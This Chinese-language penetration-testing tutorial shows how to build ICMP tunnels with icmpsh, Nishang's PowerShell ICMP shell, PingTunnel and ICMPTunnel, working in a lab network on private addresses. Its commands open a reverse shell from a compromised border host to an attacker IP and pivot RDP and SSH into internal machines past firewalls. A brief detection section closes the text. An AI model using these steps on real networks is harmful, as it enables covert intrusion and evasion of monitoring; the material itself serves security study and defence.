ICMP隧道简介
ICMP是一个比较特殊的协议,在一般的通信协议里如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要,最常见的ICMP消息为ping命令的回复,攻击者可以利用命令行得到比回复更多的ICMP请求,在通常情况下,每个ping命令都有相对应的回复与请求
在一些内部网络环境中,大部分系统都位于防火墙和公司代理之后以便控制入站和出站Internet流量,防火墙可以阻止反向并绑定TCP连接,但是大多数情况下允许ICMP流量,因此,可以将此协议用作隐蔽通道,以便获取shell并在目标主机上远程执行命令
ICMP隧道使用
常用的ICMP隧道工具有icmpsh、PingTunnel、icmptunnel、powershell icmp等。
icmpsh
工具安装
icmpsh工具使用简单,便于"携带"(跨平台),运行时不需要管理员权限,我们首先通过Git clone命令下载icmpsh:
代码语言:javascript复制git clone https://github.com/inquisb/icmpsh.git
之后我们需要安装python的impacket类库,以便于对TCP、UDP、ICMP、IGMP、ARP、IPv4、IPv6、SMB、MSRPC、NTLM、Kerberos、WMI、LDAP等协议进行访问:
代码语言:javascript复制apt-get install python-impacket
工具使用
因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入以下命令来关闭本地系统的ICMP应答(如果需要回复系统应答,则设置为0即可),否则shell的运行会不稳定(表现为一直刷屏,无法进行交互输入):
代码语言:javascript复制sysctl -w net.ipv4.icmp_echo_ignore_all=1
之后我们在终端执行以下命令来查看icmpsh的使用方法:
代码语言:javascript复制python icmpsh_m.py -h
之后根据脚本使用方法在终端执行以下命令:
代码语言:javascript复制python icmpsh_m.py 192.168.188.129 192.168.188.128
之后在边界Web主机(192.168.188.128)上执行以下命令:
代码语言:javascript复制icmpsh.exe -t 192.168.188.129(AttackIP)
之后在攻击者主机上可以看到目标主机的shell:
Powershell版本
Nishang框架
Nishang框架包含了一个PowerShell模块,可以与icmpsh的python脚本结合使用,以获得ICMP上的shell
Powershell使用
在攻击主机上执行以下命令将等待任何传入的ICMP数据包:
代码语言:javascript复制python icmpsh_m.py 192.168.188.129 192.168.188.128
之后在边界Web主机上通过powershell执行以下命令:
代码语言:javascript复制Import-Module .Invoke-PowerShellIcmp.ps1
Invoke-PowerShellIcmp 192.168.188.129
之后攻击主机汇总接受到连接:
PingTunnel(C)
工具介绍
PingTunnel是一款常用的ICMP隧道工具,可以跨平台使用,为了避免隧道被滥用,可以为隧道设置密码。
工具安装
a.安装libpcap的依赖环境
代码语言:javascript复制apt-get install byacc
apt-get install flex bison
b、安装libpcap依赖库
代码语言:javascript复制wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install
c、安装PingTunnel
代码语言:javascript复制wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install
工具使用
网络环境:
- 攻击主机(VPS):192.168.188.129
- 攻击主机(Windows 10):192.168.188.1
- 内网边界主机(Kali linux):192.168.188.134、192.168.23.131
- 内网目标主机(Windows 7):192.168.23.128
网络拓扑:
网络关系:Web服务器模拟企业对外提供Web服务的机器,该机器可以通内网,同时向公网提供服务,内网存在一台Windows 7机器,Web服务器可以与该机器连接。
测试目标:假定现在我们获取到了边界Web服务器的权限,之后想用ICMP搭建通往内网的隧道,连接内网Windows Server 2008 R2的3389端口
测试步骤:
在内网Web边界服务器执行以下指令:
代码语言:javascript复制ptunnel -x al1ex // -x 指定连接密码
之后在攻击主机上执行以下命令:
代码语言:javascript复制指令格式:ptunnel -p 边界Web主机IP -lp 1080 -da Web服务器内网的其他主机IP -dp 3389 -x al1ex
指令示例:./ptunnel -p 192.168.188.134 -lp 1080 -da 192.168.23.128 -dp 3389 -x al1ex
指令解释:上述指令的含义是指在访问攻击者VPS(192.168.188.129)的1080端口时,会吧数据库服务器192.168.23.12的3389端口的数据
封装在ICMP隧道里,以Web服务器182.168.188.134为ICMP隧道跳板进行传送
相关参数说明:
- -p:指定ICMP隧道另一端的IP
- -lp:指定本地监听的端口
- -da:指定要转发的目标机器的IP
- -dp:指定要转发的目标机器的端口
- -x: 指定连接密码
最后在本地Windows 10主机中使用mstsc访问VPS主机(192.168.188.129——>Kali linux)的1080端口:
之后会弹出以下认证界面,填写目标内网主机的RDP登录凭证信息进行登录:
之后可以看到成功连接到内网主机(192.168.23.128)远程桌面:
在整个通信过程中VPS中ptunnel终端显示如下:
在整个通信过程中边界Web主机中ptunnel终端显示如下:
当我们想要使用ICMP隧道内网主机的22端口时,直接修改命令即可,例如:
代码语言:javascript复制./ptunnel -p 192.168.188.134 -lp 1080 -da 192.168.23.128 -dp 22 -x al1ex
之后同样在本地访问VPS的22端口,发现可以成功与内网主机的22端口建立连接,之后使用SSH认证凭证进行登录即可,由于笔者这里是Windows 7主机所有就不再深入演示了~
PingTunnel(Go)
工具介绍
该工具是PingTunnel Go语言版本,同样它也是一款ICMP隧道工具,可以跨平台使用,常用的网络场景如下所示:
工具使用
首先下载PingTunnel对应的安装包
代码语言:javascript复制https://github.com/esrrhs/pingtunnel/releases
之后禁用边界主机的icmp回复
代码语言:javascript复制echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all
之后在边界服务器端启动服务端:
代码语言:javascript复制./pingtunnel -type server
之后在攻击主机上启动客户端,客户端支持以下格式:
转发Sock5:
代码语言:javascript复制pingtunnel.exe -type client -l :4455 -s www.yourserver.com -sock5 1
转发TCP:
代码语言:javascript复制pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1
转发UDP:
代码语言:javascript复制pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455
Icmptunnel
工具介绍
ICMPTunnel是一个使用python编写的简易脚本,该工具主要用于创建一个反向的ICMP隧道用于转发TCP通信数据包,这在内网中有时候也会很有帮助,且该工具具有一定的免杀效果~
工具使用
首先去Github下载项目:
代码语言:javascript复制https://github.com/T3rry7f/ICMPTunnel
之后在拿到权限的边界服务器端禁用icmp回复:
代码语言:javascript复制echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
之后执行IcmpTunnel.py脚本:
代码语言:javascript复制python IcmpTunnel_S.py
之后再攻击主机执行以下命令:
代码语言:javascript复制python IcmpTunnel_C.py {serverIP} {needConnectIP} {needConnectPort}
之后在边界Server端返回一个port并在攻击主机端使用返回的port进行远程连接,此时的ip为边界服务器的ip地址:
代码语言:javascript复制rdesktop 192.168.188.131:44171
隧道防御
使用ICMP隧道时会产生大量的ICMP数据包,我们可以通过Wireshark进行ICMP数据包分析,以检测恶意ICMP流量,具体方法如下:
- 检测同一来源的ICMP数据包的数量,一个正常的ping命令每秒最多发送两个数据包,而使用ICMP隧道的浏览器会在很短的时间内产生上千个ICMP数据包
- 注意哪些Payload大于64bit的ICMP数据包
- 寻找响应数据包中的Payload与请求数据包中的Payload不一致的ICMP数据包。
- 检查ICMP数据包的协议标签,例如:icmptunnel会在所有的ICMP Payload前面添加"TUNL"标记来标识隧道——这就是特征。